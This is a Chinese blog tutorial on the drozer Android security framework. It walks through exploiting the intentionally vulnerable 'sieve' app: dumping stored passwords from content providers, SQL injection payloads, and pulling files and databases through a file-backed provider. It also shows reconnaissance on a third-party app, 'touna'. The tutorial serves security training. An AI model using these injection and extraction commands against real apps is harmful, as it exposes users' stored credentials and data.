Android应用安全评估工具drozer

随笔3个月前发布 李秋
37 0 0

Drozer工具的安装和使用

1.Drozer工具简介

    drozer是一款针对Android系统的安全测试框架。drozer可以帮助Android app和设备变得更安全,其提供了很多Android平台下的渗透测试exploit供你使用和分享。对于远程的exploit,它可以生成shellcode帮助你进行远程设备管理。

2.工具的安装

2.1安装前提

确保在操作系统里面安装了:

•JRE或者JDK

•Android SDK

2.2windows安装Drozer

可以在官网https://www.mwrinfosecurity.com/products/drozer/community-edition/drozer-installer-2.3.3.zip的安装包直接安装;也可以下载.egg的python包安装,此时需要自己手动下载安装protobuf和twisted包。我是直接下载的zip包安装的。

2.3手机或者模拟器安装代理agent.apk

下载agent.apk,使用命令安装:

adb install agent.apk,我是在模拟器中直接导入进行安装

Drozer的使用

3.1建立Drozer Console和Dorzer Agent的连接,开启一个会话

Step1建立端口转发,Drozer默认使用31415端口。 如下命令:将windows的TCP端口31415的所有数据转发到模拟器上31415端口:Android应用安全评估工具drozer

adb forward tcp:31415 tcp:31415

如果报错,如下:

* daemon not running. starting it now *  

ADB server didn’t ACK  

* failed to start daemon *

处理如下,adb端口为5037,主要是找出哪个占用了这个端口,然后将其kill掉:

C:Usersadmin>netstat -ano | findstr “5037”

  TCP    127.0.0.1:5037         0.0.0.0:0              LISTENING       1736

  TCP    127.0.0.1:5037         127.0.0.1:12240        ESTABLISHED     1736

  TCP    127.0.0.1:12240        127.0.0.1:5037         ESTABLISHED     6428

C:Usersadmin>netstat -anob | findstr “5037”

  TCP    127.0.0.1:5037         0.0.0.0:0              LISTENING       1736

  TCP    127.0.0.1:5037         127.0.0.1:12240        ESTABLISHED     1736

  TCP    127.0.0.1:12240        127.0.0.1:5037         ESTABLISHED     6428

C:Usersadmin>tasklist | findstr “5037”

C:Usersadmin>tasklist | findstr “1736”

adb.exe                       1736 Console                    1      6,040 K

C:Usersadmin>taskkill /f /t /im adb.exe

成功: 已终止 PID 1736 (属于 PID 7908 子进程)的进程。

成功: 已终止 PID 6428 (属于 PID 4348 子进程)的进程。

C:Usersadmin>tasklist | findstr “5037”

Step2在Android设备上开启Agent server。 选择”Enbeded Server“那一项,然后选择”Enadble“开启Agent server。模拟器中开启enabled并显示连接成功:

Android应用安全评估工具drozer

Step3使用drozer Console连接Agent server。 在windows的终端中输入命令

drozer console connect

Android应用安全评估工具drozer

现在可以使用drozer来评估APP安全性了

> list  //列出目前可用的模块,也可以使用ls

> help app.activity.forintent       //查看指定模块的帮助信息

> run app.package.list      //列出android设备中安装的app

> run app.package.info -a com.android.browser       //查看指定app的基本信息

> run app.activity.info -a com.android.browser      //列出app中的activity组件

> run app.activity.start –action android.intent.action.VIEW –data-uri  http://www.google.com  //开启一个activity,例如运行浏览器打开谷歌页面

> run scanner.provider.finduris -a com.sina.weibo       //查找可以读取的Content Provider

> run  app.provider.query content://settings/secure –selection “name=’adb_enabled'”    //读取指定Content Provider内容

> run scanner.misc.writablefiles –privileged /data/data/com.sina.weibo     //列出指定文件路径里全局可写/可读的文件

> run shell.start       //shell操作

> run tools.setup.busybox       //安装busybox

> list auxiliary        //通过web的方式查看content provider组件的相关内容

> help auxiliary.webcontentresolver     //webcontentresolver帮助

> run auxiliary.webcontentresolver      //执行在浏览器中以http://localhost:8080即可访问

以sieve示例

> run app.package.list -f sieve         //查找sieve应用程序

> run app.package.info -a com.mwr.example.sieve         //显示app.package.info命令包的基本信息

> run app.package.attacksurface com.mwr.example.sieve   //确定攻击面

> run app.activity.info -a com.mwr.example.sieve         //获取activity信息

> run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList     //启动pwlist

> run app.provider.info -a com.mwr.example.sieve        //提供商信息

> run scanner.provider.finduris -a com.mwr.example.sieve        //扫描所有能访问地址 

>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/–vertical  //查看DBContentProvider/Passwords这条可执行地址

> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “‘”   //检测注入

> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts    //查看读权限数据

> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据

> run scanner.provider.injection -a com.mwr.example.sieve       //扫描注入地址

> run scanner.provider.traversal -a com.mwr.example.sieve

> run app.service.info -a com.mwr.example.sieve         //查看服务

获取获取Android设备上的所有的安装的App的包名

命令是:

run app.package.list

Android应用安全评估工具drozer

这条命令会把所有的App都列出来,如果想具体查找某个App可加上-f [App关键字]的参数,如查找touna在Android设备中的包名:

run app.package.list -f touna

获取touna的一些基本信息:

run app.package.info -a cn.touna.touna

可以看到touna的版本信息,数据存储的目录,用户ID,组ID,是否有共享库,还有权限信息等。

Android应用安全评估工具drozer

这个测试教程主要关注的是Android 固有的IPC通信机制的脆弱性,这些特点导致了App泄漏敏感信息给同一台设备上的其它App。 查找可以进行Attack Surface的组件的命令:

run app.package.attacksurface cn.touna.touna

run app.provider.info -a cn.touna.touna

Android应用安全评估工具drozer

结果显示了潜在可以利用的组件个数: “exported”表示组件可以被其他App使用。

如进一步获取ativity组建的attack surface信息的命令是

run app.activity.info -a cn.touna.touna

启动Activities

PWList和FileSelectActivity是exported并且不需要任何权限,我们可以用drozer启动他们,比如感觉PWList这个含金量应该大一点,所以就启动它了,命令是:

run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList

启动后的效果:

app.activity.start的使用方法:

help app.activity.start usage: run app.activity.start [-h] [–action ACTION] [–category CATEGORY [CATEGORY …]] [–component PACKAGE COMPONENT] [–data-uri DATA_URI] [–extra TYPE KEY VALUE] [–flags FLAGS [FLAGS …]] [–mimetype MIMETYPE]

Starts an Activity using the formulated intent.

从Content Provider中获取信息

进一步获取content provider的attact surface的信息的命令是:

run app.provider.info -a com.mwr.example.sieve

先检查exported的content provider的具体信息,包括名字,权限,访问路径等。

查找可以访问content provider的URI(数据泄漏)

我们即可猜测DBContentProvider会有某种格式的数据库,但是我们不知道其中的数据是如何组织的。Content URI必须是 “content:///” 的形式,因此我们可以构造部分的content URIs来访问DBcontent Provider。 需要READ_KEYS和WRITE_KEYS权限才能读和写的“/Keys”的路径。

drozer的scanner模块提供了一些方法去猜测可能存在的content URIs:

run scanner.provider.finduris -a com.mwr.example.sieve

如果检测出了可以访问content的URI,接下来我们可以用drozer的其他模块和URI从content中获取,甚至更改信息。 如:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –vertical

如上图我们获取了用户名,邮箱帐号,和Base64编码的密码字符串。

进行SQL注入

Android操作系统建议使用SQLite数据库存储用户数据。SQLite数据库使用SQL语句,所以可以进行SQL注入。 使用projection参数和seleciton参数可以传递一些简单的SQL注入语句到Content provider。如:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “‘”

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –selection “‘”

上面两条命令执行后Android设备返回了非常详细的错误信息。

使用Sql注入列出数据库中的所有数据表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM SQLITE_MASTER WHERE type=’table’;–“

使用SQL注入列出数据表的内容:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM Key;–“

从File System-backed Content Providers获取信息

File System-backed Content Provider提供了访问底层文件系统的方法,Android沙盒会阻止App共享文件允许,而File System-backed Content Provider允许App共享文件。 对于sieve来说,我们可以推测出的FileBackupProvider就是一个file system-backed content provider。 我们可以使用drozer的app.provider.read模块查看某个文件:

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

可以使用app.provider.download下载文件

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db

检查Content Provider的脆弱性

检查是否有SQL注入:

run scanner.provider.injection -a com.mwr.example.sieve

检查是否存在遍历文件的漏洞

run scanner.provider.traversal -a com.mwr.example.sieve

总结体会:我觉得在刚开始获取了软件包的基本信息后,就先用模块scanner里面的工具扫一扫,找到一些漏洞或者利用点后再进行下一步。

和Services交互

获取是exported状态的services的命令:

run app.service.info -a com.mwr.example.sieve

关于Services的模块:

如向某个服务发送信息:

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService –msg 1 5 3

其他常用模块

•shell.start 在Android设备上开启一个交互式Linux Shell

•tools.file.upload / tools.file.download

•tools.setup.busybox / tools.setup.minimalsu 安装busybox或者minimalsu到Android设备上

参考链接:

http://www.freebuf.com/tools/26503.html

http://drops.wooyun.org/tips/2871

http://www.kechuandai.net/ubuntu14-04-drozer%e5%b7%a5%e5%85%b7%e7%9a%84%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8/

© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...